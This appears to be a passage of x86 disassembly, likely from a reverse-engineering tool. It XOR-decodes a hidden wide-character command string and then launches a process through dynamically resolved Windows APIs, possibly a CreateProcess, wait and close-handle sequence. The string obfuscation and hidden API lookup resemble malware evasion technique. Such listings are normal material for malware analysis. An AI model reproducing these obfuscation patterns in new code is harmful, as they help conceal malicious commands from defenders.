mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403136]
add eax, 0xbf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xca], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403138]
add eax, 0xc0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40313a]
add eax, 0xc1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc6], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40313c]
add eax, 0xc2
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40313e]
add eax, 0xc3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403140]
add eax, 0xc4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403142]
add eax, 0xc5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xbe], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403144]
add eax, 0xc6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xbc], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403146]
add eax, 0xc7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xba], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403148]
add eax, 0xc8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40314a]
add eax, 0xc9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb6], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40314c]
add eax, 0xca
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40314e]
add eax, 0xcb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403150]
add eax, 0xcc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403152]
add eax, 0xcd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xae], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403154]
add eax, 0xce
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xac], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403156]
add eax, 0xcf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xaa], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403158]
add eax, 0xd0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa8], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40315a]
add eax, 0xd1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa6], cx
mov eax, dword [ebp - 0x24c]
add eax, 0xd2
movzx eax, ax
movzx ecx, word [0x40315c]
xor ecx, eax
mov word [ebp - 0xa4], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40315e]
add eax, 0xd3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa2], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403160]
add eax, 0xd4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa0], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403162]
add eax, 0xd5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403164]
add eax, 0xd6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403166]
add eax, 0xd7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403168]
add eax, 0xd8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x98], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40316a]
add eax, 0xd9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x96], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40316c]
add eax, 0xda
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x94], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40316e]
add eax, 0xdb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x92], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403170]
add eax, 0xdc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x90], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403172]
add eax, 0xdd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403174]
add eax, 0xde
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403176]
add eax, 0xdf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403178]
add eax, 0xe0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x88], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40317a]
add eax, 0xe1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x86], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40317c]
add eax, 0xe2
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x84], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40317e]
add eax, 0xe3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x82], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403180]
add eax, 0xe4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x80], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403182]
add eax, 0xe5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403184]
add eax, 0xe6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403186]
add eax, 0xe7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403188]
add eax, 0xe8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x78], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40318a]
add eax, 0xe9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x76], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40318c]
add eax, 0xea
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x74], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40318e]
add eax, 0xeb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x72], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403190]
add eax, 0xec
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x70], cx
mov eax, dword [ebp - 0x24c]
add eax, 0xed
movzx eax, ax
movzx ecx, word [0x403192]
xor ecx, eax
mov word [ebp - 0x6e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403194]
add eax, 0xee
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403196]
add eax, 0xef
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x403198]
add eax, 0xf0
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x68], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40319a]
add eax, 0xf1
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x66], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40319c]
add eax, 0xf2
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x64], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x40319e]
add eax, 0xf3
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x62], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031a0]
add eax, 0xf4
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x60], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031a2]
add eax, 0xf5
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031a4]
add eax, 0xf6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031a6]
add eax, 0xf7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031a8]
add eax, 0xf8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x58], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031aa]
add eax, 0xf9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x56], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ac]
add eax, 0xfa
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x54], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ae]
add eax, 0xfb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x52], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031b0]
add eax, 0xfc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x50], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031b2]
add eax, 0xfd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x4e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031b4]
add eax, 0xfe
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x4c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031b6]
add eax, 0xff
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x4a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031b8]
add eax, 0x100
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x48], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ba]
add eax, 0x101
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x46], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031bc]
add eax, 0x102
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x44], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031be]
add eax, 0x103
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x42], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031c0]
add eax, 0x104
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x40], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031c2]
add eax, 0x105
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031c4]
add eax, 0x106
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031c6]
add eax, 0x107
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3a], cx
mov eax, dword [ebp - 0x24c]
add eax, 0x108
movzx eax, ax
movzx ecx, word [0x4031c8]
xor ecx, eax
mov word [ebp - 0x38], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ca]
add eax, 0x109
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x36], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031cc]
add eax, 0x10a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x34], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ce]
add eax, 0x10b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x32], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031d0]
add eax, 0x10c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x30], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031d2]
add eax, 0x10d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031d4]
add eax, 0x10e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031d6]
add eax, 0x10f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031d8]
add eax, 0x110
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031da]
add eax, 0x111
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x26], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031dc]
add eax, 0x112
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x24], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031de]
add eax, 0x113
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x22], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031e0]
add eax, 0x114
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x20], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031e2]
add eax, 0x115
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x1e], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031e4]
add eax, 0x116
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x1c], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031e6]
add eax, 0x117
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x1a], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031e8]
add eax, 0x118
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x18], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ea]
add eax, 0x119
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x16], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ec]
add eax, 0x11a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x14], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031ee]
add eax, 0x11b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x12], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031f0]
add eax, 0x11c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031f2]
add eax, 0x11d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xe], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031f4]
add eax, 0x11e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031f6]
add eax, 0x11f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa], cx
mov eax, dword [ebp - 0x24c]
movzx ecx, word [0x4031f8]
add eax, 0x120
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 6], ax
mov word [ebp - 8], cx
mov ax, word [ebp - 0x248]
xor eax, eax
nop dword [eax]
mov cx, word [ebp + eax*2 - 0x248]
mov edx, dword [ebp - 0x24c]
add edx, eax
movzx ecx, cx
xor edx, ecx
mov word [ebp + eax*2 - 0x248], dx
inc eax
cmp eax, 0x121
jb 0x44aab0
push dword [ebp - 0x300]
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 4]
push 0x400
push eax
call fcn.004bcff0
xor al, al
lea edi, [ebp - 0x350]
mov ecx, 0x44
add esp, 0x10
rep stosb byte es:[edi], al
lea edi, [ebp - 0x2f8]
mov dword [ebp - 0x350], 0x44
mov ecx, 0x10
rep stosb byte es:[edi], al
mov ecx, dword [0x4f3810]
test ecx, ecx
jne 0x44ab36
call fcn.00411870
mov ecx, eax
mov dword [0x4f3810], ecx
mov eax, dword [0x4f3814]
test eax, eax
jne 0x44ab49
call fcn.00412830
mov dword [0x4f3814], eax
lea ecx, [ebp - 0x2f8]
push ecx
lea ecx, [ebp - 0x350]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 4]
push 0
call eax
test eax, eax
je 0x44ac15
mov eax, dword [0x4f3810]
test eax, eax
jne 0x44ab85
call fcn.00411870
mov dword [0x4f3810], eax
mov ecx, dword [0x4f3828]
test ecx, ecx
jne 0x44ab9e
mov ecx, eax
call fcn.00412900
mov ecx, eax
mov dword [0x4f3828], ecx
push 0xffffffffffffffff
push dword [ebp - 0x2f8]
call ecx
mov eax, dword [0x4f3810]
test eax, eax
jne 0x44abbb
call fcn.00411870
mov dword [0x4f3810], eax
mov ecx, dword [0x4f379c]
test ecx, ecx
jne 0x44abd4
mov ecx, eax
call fcn.004129d0
mov ecx, eax
mov dword [0x4f379c], ecx
push dword [ebp - 0x2f8]
call ecx
mov eax, dword [0x4f3810]
test eax, eax
jne 0x44abef
call fcn.00411870
mov dword [0x4f3810], eax
mov ecx, dword [0x4f379c]
test ecx, ecx
jne 0x44ac08
mov ecx, eax
call fcn.004129d0
mov ecx, eax
mov dword [0x4f379c], ecx
push dword [ebp - 0x2f4]
call ecx
mov ebx, 1
mov eax, dword [ebp - 4]
test eax, eax
je 0x44ac48
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0x2e4]
push 0x8000
push eax
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x2e4], 0
push eax
push 0xffffffffffffffff
call fcn.0042a5f0
call eax
test esi, esi
je 0x44ac7b
mov eax, dword [0x4f37cc]
test eax, eax
jne 0x44ac5f
call fcn.00412450
mov dword [0x4f37cc], eax
mov ecx, dword [0x4f37dc]
test ecx, ecx
jne 0x44ac78
mov ecx, eax
call fcn.00412aa0
mov ecx, eax
mov dword [0x4f37dc], ecx
push esi
call ecx
mov edx, dword [ebp - 0x250]
test edx, edx
je 0x44ac8b
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret